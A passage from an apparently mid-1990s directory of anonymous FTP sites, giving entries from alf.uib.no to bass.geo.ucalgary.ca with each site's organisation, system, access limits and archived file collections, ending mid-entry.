+Country: Norway +GMT : +1 +Date : 15-Dec-94 +Source : buboo@alf.uib.no (Ove Ruben R Olsen) {posting} +Alias : +Admin : +Organ : University of Bergen, Bergen +Server : +System : Unix +URL : ftp://alf.uib.no/ +Comment: +Files : Editors: comp.editors FAQ and related material + +Site : alfred1.u.washington.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : billa@netcom.com (William Arnett) {posting} +Alias : +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : Unix (OSF/1) +URL : ftp://alfred1.u.washington.edu/ +Comment: Problem: can't set guest privileges +Files : Shoemaker-Levy 9 (SL9) images + +Site : alice.uni-passau.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List; old ftp-list +Alias : alice.fmi.uni-passau.de +Admin : ftp@alice.fmi.uni-passau.de +Organ : Universitaet Passau (University of Passau), Passau +Server : +System : Unix +URL : ftp://alice.uni-passau.de/ +Comment: max. 3 users; tar, (de)compress and g(un)zip on the fly; + quote site index supported +Files : archivers; Atari; Computer Algebra Systems (mas); dictionaries; + docs; Emacs-contrib; GNU; gopher; GroebnerBook; Gutenberg; IBM PC; + Linux; NeXT; pictures; RS6000; TeX; text; Unix + +Site : allspice.berkeley.edu +Country: USA +GMT : -8 +Date : 22-May-94 +Source : +Alias : sprite.berkeley.edu +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix +URL : ftp://allspice.berkeley.edu/ +Comment: +Files : FDDI; RAID-II; papers; pfile; sosp-traces; welch; WWW + +Site : allspice.lcs.mit.edu +Country: USA +GMT : -5 +Date : 11-Mar-94 +Source : old ftp-list +Alias : thyme.lcs.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + Laboratory of Computer Sciences +Server : +System : Unix +URL : ftp://allspice.lcs.mit.edu/ +Comment: +Files : CMU-PCIP; dartnet; disktab; ecma-desd; mcode; netsim; PCMAIL; SNMP; + SNPP; white-pages; WP + +Site : alpha.gnu.ai.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : Perry.Rovers@kub.nl (info from other .ai.mit.edu sites) +Alias : spiff.gnu.ai.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts, + AI Lab. +Server : +System : News-OS +URL : ftp://alpha.gnu.ai.mit.edu/ +Comment: +Files : GNU related things (same as the other GNU sites, no GIFs) + +Site : alpha.vyne.com +Country: +GMT : +Date : +Source : deanf@uslink.com (Gordon Dean Flansburg) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://alpha.vyne.com/ +Comment: +Files : Gen-X (/pub/marvel) + +Site : altair.stmarys-ca.edu +Country: USA +GMT : -8 +Date : 08-Nov-94 +Source : woody@stmarys-ca.edu +Alias : +Admin : woody@altair.stmarys-ca.edu +Organ : St. Mary's College of California, Moraga, California, Math. dept. +Server : gopher: altair.stmarys-ca.edu, http://altair.stmarys-ca.edu/ +System : Unix (Linux, PC) +URL : ftp://altair.stmarys-ca.edu/ +Comment: max. 2 users [preliminary entry: not checked yet] +Files : Tradewars archive (/pub/tradewars) -- BBS door game + +Site : altdorf.ai.mit.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : martigny.ai.mit.edu +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts + AI Lab. +Server : +System : +URL : ftp://altdorf.ai.mit.edu/ +Comment: guest login disallowed after 3am and before 9am local time; see + the file POLICY for full details; max. 20 users +Files : c-scheme + +Site : alumni.caltech.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://alumni.caltech.edu/ +Comment: +Files : cco; dank; gems5; ingber; mcbeath; nyet + +Site : alumni.cs.colorado.edu +Country: USA +GMT : -7 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Colorado - Boulder, Boulder, Colorado +Server : +System : Unix +URL : ftp://alumni.cs.colorado.edu/ +Comment: Problem: Timeout +Files : eli; mactivation + +Site : amazon.eng.fau.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : hettler@ask.uni-karlsruhe.de (Christian Hettler) +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://amazon.eng.fau.edu/ +Comment: +Files : cse; ee; Macs; me; oe; religion + +Site : american.megatrends.com +Country: USA +GMT : +Date : 12-Aug-94 +Source : AMI BIOS Survival Guide (comp.sys.ibm.pc.hardware.*) +Alias : +Admin : +Organ : American Megatrends Inc. +Server : +System : Unix +URL : ftp://american.megatrends.com/ +Comment: read INDEX.DOS and INDEX.UNIX +Files : chipset guides; EISA LAN; EISA VGA; general utilities; LAN SCSI; + motherboard specific; PC defender; PCMCIA LAN; press releases; + SCSI; tech tips; VLB SVGA + +Site : ames.arc.nasa.gov +Country: USA +GMT : -8 +Date : 23-May-94 +Source : old ftp-list; rrooks@cheux.ecs.umass.edu (Raymond Rooks) +Alias : +Admin : yee@atlas.arc.nasa.gov (Peter Yee) +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : Unix +URL : ftp://ames.arc.nasa.gov/ +Comment: files from the /pub/SPACE directory have been moved to + explorer.arc.nasa.gov because it's bigger, faster and more reliable +Files : 3B2; apms; CFD-images; Frequent Flyer; GIF; GRAF-BIB; iWarp; MS-DOS; + paranoid archive; SCUBA; sils; soft-managers; Space archive; SUNREP; + Unix; VW (info, archive) + +Site : amy.tch.harvard.edu +Country: USA +GMT : -5 +Date : 02-Aug-94 +Source : ftp.sterling.com +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : Unix (Ultrix 4.1) +URL : ftp://amy.tch.harvard.edu/ +Comment: some files to be mirrored on ftp.sterling.com +Files : jed; most; slang; slsc + +Site : andy.bgsu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : bgsuvax.bgsu.edu +Admin : +Organ : +Server : +System : +URL : ftp://andy.bgsu.edu/ +Comment: +Files : Unix sysadm tools; Unix Vote by mail; Unix etc.; + College hockey stats + +Site : animal.cs.chalmers.se +Country: Sweden +GMT : +1 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Chalmers University of Technology, Gothenburg +Server : +System : Unix (SunOS 4.1) +URL : ftp://animal.cs.chalmers.se/ +Comment: +Files : cs-reports; haskell; numerical analysis; www + +Site : anna.stanford.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://anna.stanford.edu/ +Comment: +Files : Anna (Annotated Ada) software and docs + +Site : anomaly.sbs.risc.net +Country: USA +GMT : -4 +Date : 06-Jan-94 +Source : old ftp-list +Alias : anomaly.sbs.com +Admin : ftp-bugs@anomaly.sbs.risc.net +Organ : The Rhode Island Internet Systems Cooperative Network +Server : Limited FTP connections. Email server accepts 'snarf' in Subject + then 'snarf addess @' and 'snarf help' in body: + snarf@anomaly.sbs.risc.net +System : +URL : ftp://anomaly.sbs.risc.net/ +Comment: +Files : Linux SLS; TLS files for SCO Xenix, Unix, or ODT + +Site : archive.umich.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : Michael.Dautermann@umich.edu (Michael Dautermann); old ftp-list +Alias : amiga.archive.umich.edu, apple2.archive.umich.edu, + atari.archive.umich.edu, mac.archive.umich.edu, + msdos.archive.umich.edu, next.archive.umich.edu, + physics.archive.umich.edu, linguistics.archive.umich.edu +Admin : {apollo,atari,linguistics,mac,msdos}-archivists@archive.umich.edu +Organ : University of Michigan, Ann Arbor, Michigan +Server : +System : Unix (OS: several depending on machine) +URL : ftp://archive.umich.edu/ +Comment: weekends: 60 connections, weekdays, 11pm 'til 4am (EST): 60, + weekdays, 6pm 'til 11pm and 4am 'til 6am (EST): 30, weekdays, + 6am 'til 11pm and 4am 'til 6am: 10 connections; the best way to + access the archive is via AFS, if you have AFS installed, use cd + or make a link to /afs/umich.edu/group/itd.archive; daily mirrors: + ftp.wustl.edu (/systems/{apple2,mac,atari,ibmpc,next}/umich.edu), + ftp.doc.ic.ac.uk (/packages/mac/umich),archie.au(/micros/mac/umich); + connecting to mirror.archive.umich.edu will automatically connect + you to one of the above mirrors [NICE FEATURE, too bad it gave an + I/O error when I tried it]; This site requires some explanation: + {amiga,msdos, physics} actually map to apollo21.aal.itd.umich.edu, + {apple2,atari, mac, next} map to carpediem.ccs.itd.umich.edu, + archive.umich.edu and linguistics.archive.umich.edu map to + pogue.admin.lsa.umich.edu; DO NOT USE THESE, listed for completeness + and confusion only :-); this entry still needs some updating +Files : Apple2; Apollo; Atari; Celia; economics; Internet; linguistics; Mac; + MS-DOS; newton; NeXT; OS/2; physics + +Site : archsci.arch.su.edu.au +Country: Australia +GMT : +10 +Date : 14-Dec-94 +Source : tongk@archsci.arch.su.edu.au (Kent Tong) {posting} +Alias : +Admin : +Organ : Sydney University, Sydney +Server : +System : Unix (SunOS 4.1) +URL : ftp://archsci.arch.su.edu.au/ +Comment: +Files : AID94; DCN; DURP; Freeman Installer (/pub/tongk/finst151.zip); + KCDC; LaTeX; Linux; MM94; WAID95 + +Site : arginine.umdnj.edu +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : shag@arginine.umdnj.edu (Dan Birchall) {posting} +Alias : +Admin : dbeck@soma.umdnj.edu +Organ : CIMR, Camden, New Jersey +Server : +System : Unix (SunOS, Sun3/50) +URL : ftp://arginine.umdnj.edu/ +Comment: 2300-0600 max. 5 users, 0600-2300 max. 2 users +Files : citadel; geos; LPMUD; object; Queensryche; Unix + +Site : aql.gatech.edu +Country: USA +GMT : -5 +Date : 22-Dec-94 +Source : Computer Underground Digest (CuD) +Alias : +Admin : chaos@aql.gatech.edu (Paul S. Goggin) +Organ : Georgia Tech, Atlanta, Georgia, Air Quality Laboratory +Server : +System : Unix +URL : ftp://aql.gatech.edu/ +Comment: +Files : 40Hex magazine archives; art; Computer Underground Digest (CuD); + crypto (mirror of the cypherpunks archive and more); EFF (small + parts of ftp.eff.org); Netinfo (NetInfo mailing list archive); + OTIS Project (from 141.214.4.135 and sunsite.unc.edu); seasame; + security; utils; virii; Virtual Culture; Xfiles; Zines (incl. + Voices from the Net) + +Site : archie.au +Country: Australia +GMT : +10 +Date : 10-Sep-94 +Source : Tony Heydeman (theydema@laurel.ocs.mq.edu.au); old ftp-list +Alias : plaza.aarnet.edu.au +Admin : ftp@archie.au (Craig Warren) +Organ : Australian Academic and Research Network (AARNet), Melbourne +Server : +System : Unix +URL : ftp://archie.au/ +Comment: this archive is primarily intended for Australian users and consists + mostly of mirrors of international sites to reduce the load on the + Australian link; A note on the archive: due to diskspace limitations, + the mirrors of Amiga, Mac, and graphics are only shadowing files + created in the last 365 days, complaints about this to ccw@archie.au + please +Files : AARNet; alex; archie; mirrors: 4.4BSD, ACS, Amiga, CIAC, FreeBSD, + GNU, gopher, graphics, Kermit, Linux, Mac, micros, MicroSoft, NCSA, + packet-drivers, RFCs, security, Simtel Software Repository mirror + (/micros/pc/oak), garbo.uwasa.fi (/micros/pc/garbo), talk-radio, + Unix, Usenet, WAIS, wu-ftpd; NetWorkShop; projects; Weather; X11 + +Site : archie.inesc.pt +Country: Portugal. +GMT : 0 +Date : 18-Aug-94 +Source : Hugo Cartaxeiro (hac@inesc.pt) +Alias : ftp.inesc.pt +Admin : ftpmaint@inesc.pt +Organ : INESC (Instituto de Engenharia de Sistemas e Computadores), Lisboa +Server : ftpmail@archie.inesc.pt +System : Unix (SunOS4.1.3, Sun 670MP) +URL : ftp://archie.inesc.pt/ +Comment: accessible to Portuguese nodes only; 6Gb disk space +Files : comms; GNU; ietf; Linux; local stuff; news-archive; RFCs; + weather maps; Windows 3 (ibmpc/windows3); WWW (www/mosaic); X; + and more + +Site : archive.afit.af.mil +Country: USA +GMT : -5 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : hamlin@afit.af.ml; archivist@afit.af.mil +Organ : U.S. Air Force - Air Force Institute of Technology +Server : +System : Unix +URL : ftp://archive.afit.af.mil/ +Comment: archives from blackbird.afit.af.mil; transfers are logged +Files : 386BSD; AFFORMS; ANNS; blackbird; bp; drawland; ghostdos; GNU; mpc; + MS-DOS; Neural graphics; news; OARNet maps; RFCs; Sattelite software, + documents, elements; simnet; sound; space; sweep; tech-reports; + virus research; wavelets; xntp + +Site : archive.cs.umbc.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : root@archive.cs.umbc.edu +Organ : University of Maryland - Baltimore County Campus, Baltimore, + Maryland, CS dept. +Server : +System : Unix +URL : ftp://archive.cs.umbc.edu/ +Comment: +Files : ARPA/DARPA; CAIA; cikm; conferences; cshc; curnoles; demacs; finin; + funny; gopher; ICCCN; IJICIS; images; Liverpool; Memorization; + reports; SGI; sgml; sigcomm93; Sun; TeX; UMBC; Unix-PC; Windows; + WWW; X11 + +Site : archive.egr.msu.edu +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : old ftp-list +Alias : ftp.egr.msu.edu +Admin : ftp@egr.msu.edu +Organ : Michigan State University, Lansing, Michigan, College of Engineering +Server : +System : Unix (System V Release 4.0) +URL : ftp://archive.egr.msu.edu/ +Comment: uploads to /incoming, send mail to admin (normally only MSU uploads, + others on a 'strong claim' basis) +Files : antivirus; ce; circuits; deller; Elm-pc; etalk; eview; fisher; + future; me440; motorola; MS-DOS; MSU: roundtable, roundtable-games; + netinfo; OS/2; Perl-pc; pinups; sca; startrek; vista + +Site : archive.epas.utoronto.ca +Country: Canada +GMT : -5 +Date : 11-Mar-94 +Source : GUS FAQ +Alias : klingon.epas.utoronto.ca +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : Unix (386) +URL : ftp://archive.epas.utoronto.ca/ +Comment: mirrored on several sites +Files : Gravis Ultrasound Soundcard (GUS) files + +Site : archive.latrobe.edu.au +Country: Australia +GMT : +10 +Date : 10-Sep-94 +Source : m.kosten@lusta.latrobe.edu.au (Mark Kosten) {posting}; old ftp-list +Alias : luga.latrobe.edu.au +Admin : postmaster@latrobe.edu.au +Organ : La Trobe University, Melbourne, Victoria +Server : WWW: www.latrobe.edu.au +System : Unix +URL : ftp://archive.latrobe.edu.au/ +Comment: OS/2 uploads to ftp.cdrom.com please!; all sessions are logged +Files : caut94; celia; dimsym; doc; exp; images; Kermit; Mac; mirrors: + Hobbes (ftp-os2.nmsu.edu), ftp.cdrom.com mirror (OS/2), SGI; MS-DOS; + music; network; spusc93; spusc94; stats; Unix; Windows + +Site : archive.nevada.edu +Country: USA +GMT : -7 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Nevada - Las Vegas, Las Vegas, Nevada +Server : +System : +URL : ftp://archive.nevada.edu/ +Comment: Problem: I/O error on network device +Files : US Constitution & supporting docs; religious texts; Bible; + lds texts + +Site : archive.orst.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : MODERxx.ZIP; old ftp-list +Alias : ftp.orst.edu, gaia.ucs.orst.edu +Admin : archivist@ftp.orst.edu (Kean Stump) +Organ : Oregon State University, Corvallis, Oregon, Milne CC +Server : +System : Unix (SunOS, Sun 4/690) +URL : ftp://archive.orst.edu/ +Comment: Open 24 hours; max. 500 users +Files : astro-data; comm; doc; Doom; gaming; lang; mailing-lists; mirrors: + Linux (sunsite.unc.edu), ucs.orst.edu, Simtel Software Repository + (/pub/mirrors/oak.oakland.edu/simtel20/msdos),CICA Windows archive: + ftp.cica.indiana.edu; network; news; noc; OSU-gopher; packages; + publishers; security; skunk-works; SNMP; Sun; systems; Usenet; WAIS + +Site : archive.umich.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : pogue.admin.lsa.umich.edu +Admin : PC1_Organizers@um.cc.umich.edu (Dave Winkel), + msdos_archivers@um.cc.umich.edu (Allan Bjorklund) +Organ : University of Michigan, Ann Arbor, Michigan +Server : +System : Unix (Ultrix 4.1) +URL : ftp://archive.umich.edu/ +Comment: +Files : Amiga; Apollo; Apple; Atari; economics; Internet; Mac; MS-DOS; + Newton; OS/2; physics + +Site : archives.math.utk.edu +Country: USA +GMT : -5 +Date : 16-Feb-94 +Source : MODERxx.ZIP +Alias : +Admin : husch@archives.math.utk.edu (Larry Husch: MS-DOS), + efife@archives.math.utk.edu (Earl Fife: Mac) +Organ : University of Tennessee, Knoxville, Tennessee +Server : +System : +URL : ftp://archives.math.utk.edu/ +Comment: also accessible through gopher +Files : calculus-reform; life-sciences; Mac; Mathematics; MS-DOS; + multi-platform + +Site : arizona.edu +Country: USA +GMT : -7 +Date : 23-Aug-94 +Source : VAX Software List; old ftp-list +Alias : maggie.telcom.arizona.edu +Admin : +Organ : University of Arizona, Tucson, Arizona +Server : +System : VAX/VMS running Multinet +URL : ftp://arizona.edu/ +Comment: default directory: NETINFO_ROOT:[000000]; if you are running + Multinet, use MODE LZ for compression +Files : Arizonet; hints; hosts; information; mail; multicast; multinet; + networks; RFCs; services; VMS software; UofA; XSky + +Site : armstrong.cs.buffalo.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : State University of New York - Buffalo, Buffalo, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://armstrong.cs.buffalo.edu/ +Comment: +Files : rec.radio.amateur + +Site : arp.anu.edu.au +Country: Australia +GMT : +10 +Date : 23-Aug-94 +Source : old ftp-list +Alias : cisr.anu.edu.au [?] +Admin : root@arp.anu.edu.au +Organ : Australian National University +Server : +System : Unix (System V Release 4.0) +URL : ftp://arp.anu.edu.au/ +Comment: +Files : abelson; akcl; blackhole; bridge; CISR; compress; exedit; Finder; + haskell; HPFF; kripke; lam228; license-forms; lisp; MaGIC; mizar; + ml; mpi; multicast; otter; papers; PAWS; Solaris 2.3; tech-reports; + tptp + +Site : asparagin.cenargen.embrapa.br +Country: Brazil +GMT : -3 +Date : 13-Sep-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : bbrc@cenargen.embrapa.br +Organ : CNPq/RNP, , Embrapa/Cenargen, BMBBNet/Brazilian Bioinformatics + Resource Center (BBRC) +Server : gopher +System : Unix +URL : ftp://asparagin.cenargen.embrapa.br/ +Comment: BBRC is an EMBNet node +Files : empty [?] + +Site : asterix.inescn.pt +Country: Portugal +GMT : 0 +Date : 25-Jan-95 +Source : +Alias : +Admin : acc@asterix.inescn.pt (Antonio Costa) +Organ : INESCN +Server : +System : Unix (Ultrix 4.1) +URL : ftp://asterix.inescn.pt/ +Comment: max. 4 users; server can (de)compress, g(un)zip and .tar on the fly +Files : archivers; eli; fbm; flidemos; Gems; graphics; jpeg; LightR; + pbmplus; PC; python; qterm; Rtrace; tiff; xflick; xim + +Site : asuvax.eas.asu.edu +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Arizona State University, , Arizona +Server : +System : Unix (Ultrix 4.1) +URL : ftp://asuvax.eas.asu.edu/ +Comment: +Files : Fidonet node list + +Site : asylum.sf.ca.us +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : comics/faq/part5 +Alias : +Admin : +Organ : ELF Communications Inc., San Francisco, California +Server : +System : Unix +URL : ftp://asylum.sf.ca.us/ +Comment: all commands and transfers are logged; /pub/wintalk +Files : asylum; best.of.internet; clover; comics: Cerebus (read the + rec.arts.comics FAQ for details); exile; fsb; GOLD; gub; + hobbit; klf; langz; leadheads; mind-l; phi; politics; privacy; + void; wintalk; abs; ztt + +Site : atheist.tamu.edu +Country: USA +GMT : -6 +Date : 06-Nov-94 +Source : blemoine@atheist.tamu.edu (Brett G. Lemoine) +Alias : freethought.tamu.edu +Admin : root@atheist.tamu.edu +Organ : Texas A&M University, , Texas, Agnostic & Atheist Student Group +Server : WWW: http://freethought.tamu.edu/ +System : Unix (A/UX 3.1.1, Macintosh Quadra 700) +URL : ftp://atheist.tamu.edu/ +Comment: max. 20 users +Files : Secular and freethought literature: Bank of Wisdom, Forefather + Quotes, Lisp code, nontheism, quoteslist, Religion (Christianity, + Islam), US constitution + +Site : athena.cs.uga.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Georgia, Athens, Georgia, CS dept. +Server : +System : +URL : ftp://athena.cs.uga.edu/ +Comment: +Files : GNU; Elm; top; COPS + +Site : athos.rutgers.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rutgers University, Piscataway, New Jersey +Server : +System : +URL : ftp://athos.rutgers.edu/ +Comment: +Files : DVIdoc + +Site : atitech.ca +Country: Canada +GMT : -5 +Date : 23-Aug-94 +Source : dseitel@crl.com (David Eitelbach) {posting} +Alias : hq.atitech.ca +Admin : +Organ : ATI +Server : +System : Unix +URL : ftp://atitech.ca/ +Comment: +Files : ATI product (videocard) drivers, info, utilities (AVIs, images, + OS/2, Windows) + +Site : atlantis.utmb.edu +Country: USA +GMT : -6 +Date : 19-Apr-94 +Source : Virus-L/comp.virus list of antivirus FTP sites +Alias : atlntis.utmb.edu +Admin : +Organ : University of Texas - Galveston, Galveston, Texas, Medical Branch +Server : +System : Unix (SunOS 4.1) +URL : ftp://atlantis.utmb.edu/ +Comment: +Files : C-Kermit; complex; hosts; pc; POPmail; virus-l; virus-software + +Site : atlas.psyschem.chemie.uni-tuebingen.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : ftp-bugs@atlas.psyschem.chemie.uni-tuebingen.de +Organ : Universitaet Tuebingen (University of Tuebingen), Tuebingen, + Chemistry dept. +Server : +System : +URL : ftp://atlas.psyschem.chemie.uni-tuebingen.de/ +Comment: +Files : + +Site : atlas.upei.ca +Country: Canada +GMT : +Date : +Source : dlist@ora.com +Alias : +Admin : +Organ : University of Pei/PeiNet +Server : +System : +URL : ftp://atlas.upei.ca/ +Comment: +Files : + +Site : att-in.att.com +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : AT&T +Server : +System : Unix (SunOS 4.1) +URL : ftp://att-in.att.com/ +Comment: +Files : PSPreviewer + +Site : audrey.levels.unisa.edu.au +Country: Australia +GMT : +9 +Date : 12-Feb-94 +Source : old ftp-list +Alias : audrey.sait.edu.au +Admin : ftp@audrey.levels.unisa.edu.au +Organ : University of Southern Australia, , + Signal Processing Research Institute, Digital Communications Group +Server : Open 24 hours +System : +URL : ftp://audrey.levels.unisa.edu.au/ +Comment: +Files : lemacs; space flight info (manifests, launch times, etc...); + satellite modems; speech; Twin Peaks (TV series) info + +Site : augean.eleceng.adelaide.edu.au +Country: Australia +GMT : +9.5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : augean.ua.oz.au +Admin : +Organ : University of Adelaide, Adelaide, Electrical and Electronic + Engineering dept. +Server : +System : +URL : ftp://augean.eleceng.adelaide.edu.au/ +Comment: +Files : patches for gdb and gas + +Site : aurora.arc.nasa.gov +Country: USA +GMT : -8 +Date : 23-May-94 +Source : old ftp-list +Alias : eos.arc.nasa.gov +Admin : +Organ : NASA - Ames Research Center, Mountain View, California +Server : +System : Unix +URL : ftp://aurora.arc.nasa.gov/ +Comment: +Files : nlr; orst; quest-dist; Rhosettastone; sky + +Site : austin.bsdi.com +Country: USA +GMT : -7 +Date : 22-May-94 +Source : +Alias : +Admin : sanders@bsdi.com +Organ : Berkeley Software Design Inc. +Server : +System : Unix +URL : ftp://austin.bsdi.com/ +Comment: main archive is on ftp.bsdi.com; transfers are logged +Files : FreeWAIS; IDE conf; plexus; www + +Site : avalon.vislab.navy.mil +Country: USA +GMT : -8 +Date : 19-Feb-95 +Source : pkane@nfesc.navy.mil (Pat Kane); sgi/anonftp/list +Alias : avalon.chinalake.navy.mil +Admin : ftpadmin@avalon.vislab.navy.mil +Organ : U.S. Navy - NAWCWPNS, Chinalake, California +Server : +System : Unix +URL : ftp://avalon.vislab.navy.mil/ +Comment: transfers are logged; try to use this server outside of working + hours (7am-5pm PST); all valid hosts are allowed; uploads to + /pub/incoming; index file in /pub/INDEX +Files : FAQs; format_specs; objects (SGI 3D Object files, Inventor + interchange); textures; utils + +Site : avahi.inria.fr +Country: France +GMT : +1 +Date : 15-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : INRIA +Server : +System : NEWS-OS 4.0c +URL : ftp://avahi.inria.fr/ +Comment: +Files : Amiga; COSE; egeria; Free Compilers List; gipe; gopath; gwm; IBM PC; + ISM; K-Edit; Klone; Koalabus; made; Meta-X; pixmap; TCL; + videoconference; wtk; xmh; xpm; xfedor; xtrek + +Site : avs.ncsc.org +Country: USA +GMT : -5 +Date : 15-Jan-95 +Source : old ftp-list +Alias : doppler.avs.ncsc.org +Admin : avs@ncsc.org +Organ : International AVS Center, Research Triangle Park, North Carolina +Server : +System : Unix (SunOS 4.1) +URL : ftp://avs.ncsc.org/ +Comment: Download AVS_LICENSE first +Files : AVS (archives '93 '94 '95, courses, modules, net_news, user_group); + landreth; metereology; pictures; siggraph; walkthru; VolVis 92, + volume datasets + +Site : azabu.tkl.iis.u-tokyo.ac.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : +Admin : +Organ : University of Tokyo, Tokyo +Server : +System : Unix +URL : ftp://azabu.tkl.iis.u-tokyo.ac.jp/ +Comment: +Files : Chinese; copysoft; CQK; dbms; demacs; games; hml; hterm; Japanese; + kaken; Linux mprotect; NOAA; Windows NT; ZyXEL + +Site : b.gp.cs.cmu.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Carnegie-Mellon University, Pittsburgh, Pennsylvania, CS dept. +Server : +System : +URL : ftp://b.gp.cs.cmu.edu/ +Comment: Filenames cannot begin with "/.."; user anon logged in +Files : + +Site : b.psc.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Pittsburgh Supercomputing Center, Pittsburg, Pennsylvania +Server : +System : VAX/VMS running Multinet +URL : ftp://b.psc.edu/ +Comment: default directory: SYS$SYSDEVICE:[PSC0.[PSCPUB.ANONYMOUS] +Files : GPLOT; GTEX + +Site : b.scs.uiuc.edu +Country: USA +GMT : -6 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois, + CS dept. +Server : +System : VAX/VMS +URL : ftp://b.scs.uiuc.edu/ +Comment: default directory: SYS$SYSDEVICE:[NETDIST.PUB] +Files : LaTex + +Site : b65103.student.cwru.edu +Country: USA +GMT : -5 +Date : 26-Jan-95 +Source : felipe@xs4all.nl (Felipe Rodriguez) {posting} +Alias : +Admin : arg2@po.cwru.edu +Organ : Case Western Reserve University, Cleveland, Ohio, LameNESS site +Server : +System : Unix +URL : ftp://b65103.student.cwru.edu/ +Comment: +Files : demos [empty]; games; lameness; sound; utils; virus; windows; + winsock + +Site : babar.ucsf.edu +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : sgi/anonftp/list; old ftp-list +Alias : babar.mmwb.ucsf.edu +Admin : srp@cgl.ucsf.edu (Scott Presnell), steve@cgl.ucsf.edu + (Steve Sizemore) +Organ : University of California - San Francisco, San Francisco, California + Dept. of Pharmaceutical Chemistry, Cohen Group Irises +Server : +System : Unix (Irix) +URL : ftp://babar.ucsf.edu/ +Comment: +Files : SGI Irix files: automounter daemon, batch, rcsgdiff, tcpdump, top + +Site : babcock.cerc.wvu.edu +Country: USA +GMT : -5 +Date : 17-Apr-94 +Source : +Alias : gopher.cerc.wvu.edu +Admin : +Organ : +Server : +System : Unix +URL : ftp://babcock.cerc.wvu.edu/ +Comment: +Files : cercnet_abstracts; research in review; sci.med.telemedicine; + sources; tech-reports + +Site : baboon.cv.nrao.edu +Country: USA +GMT : -5 +Date : 23-Aug-94 +Source : chrisl@seds.lpl.arizona.edu (Chris Lewicki) {posting} +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://baboon.cv.nrao.edu/ +Comment: +Files : AIPS documents and patches; AIPS++; FITS test images; image + processing; Radioastronomy; + +Site : baldrick.eia.brad.ac.uk +Country: UK +GMT : 0 +Date : 25-Jan-95 +Source : march@lamar.colostate.edu (Marc Hoff) {posting} +Alias : +Admin : +Organ : University of Bradford, Bradford, EIA +Server : fsp, http://www.eia.brad.ac.uk/ +System : Unix +URL : http://www.eia.brad.ac.uk/ +Comment: +Files : blowpic; kylie (animations, discography, maillist, newsletter, + pics); Married With Children; rti; winsock (conn4); www + + +Site : barkley.berkeley.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix +URL : ftp://barkley.berkeley.edu/ +Comment: appears to be empty, no pub directory, only a e266 directory +Files : + +Site : barnacle.erc.clarkson.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : root@grape.ecs.clarkson.edu (Brad Clements) +Organ : Clarkson University, Potsdam, New York +Server : +System : Unix +URL : ftp://barnacle.erc.clarkson.edu/ +Comment: Problem: I/O error on network device; some files have moved + here from grape.ecs.clarkson.edu +Files : packet drivers; MS-DOS, Opus BBS; MSDOS; graphics; Freemacs; + comp.binaries.ibm.pc + +Site : bass.geo.ucalgary.ca +Country: Canada +GMT : +Date : 14-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : University of Calgary, Calgary +Server : +System : Unix (SunOS 4.1) +URL : 